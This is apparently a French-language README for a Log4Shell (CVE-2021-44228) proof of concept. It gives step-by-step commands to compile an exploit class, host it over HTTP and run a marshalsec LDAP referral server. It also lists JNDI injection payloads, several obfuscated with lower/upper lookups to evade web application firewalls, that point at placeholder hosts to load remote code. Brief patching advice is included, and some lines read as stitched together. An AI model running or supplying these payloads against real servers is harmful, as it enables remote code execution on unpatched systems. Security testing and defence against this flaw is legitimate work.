
Preuve de concept d'exploit pour CVE-2021-44228 (Log4Shell) avec charges utiles d'injection JNDI, techniques de contournement WAF et intégration de scan passif pour Burp Suite.
Les versions 1.x présentent d'autres vulnérabilités, nous vous recommandons de mettre à jour vers la dernière version.
Avis de sécurité / Bulletins liés à Log4Shell (CVE-2021-44228)
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git
cd apache-log4j-poc/src/main/java
javac Exploit.java
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Exécutez enfin le projet, vous verrez votre calculatrice s'afficher localement.
Conseils:
Ne comptez pas sur une version récente de Java pour vous sauver. Mettez à jour Log4j (ou supprimez la recherche JNDI). Désactivez l'expansion (cela semble de toute façon une très mauvaise idée).
Par exemple :
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Ne faites pas confiance au pare-feu applicatif web.
Les Lookups fournissent un moyen d'ajouter des valeurs à la configuration Log4j à des endroits arbitraires.
Les méthodes pour provoquer la fuite dans finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()
Si vous souhaitez effectuer des tests en boîte noire, je vous suggère de faire du scan passif.
Amusez-vous !!!
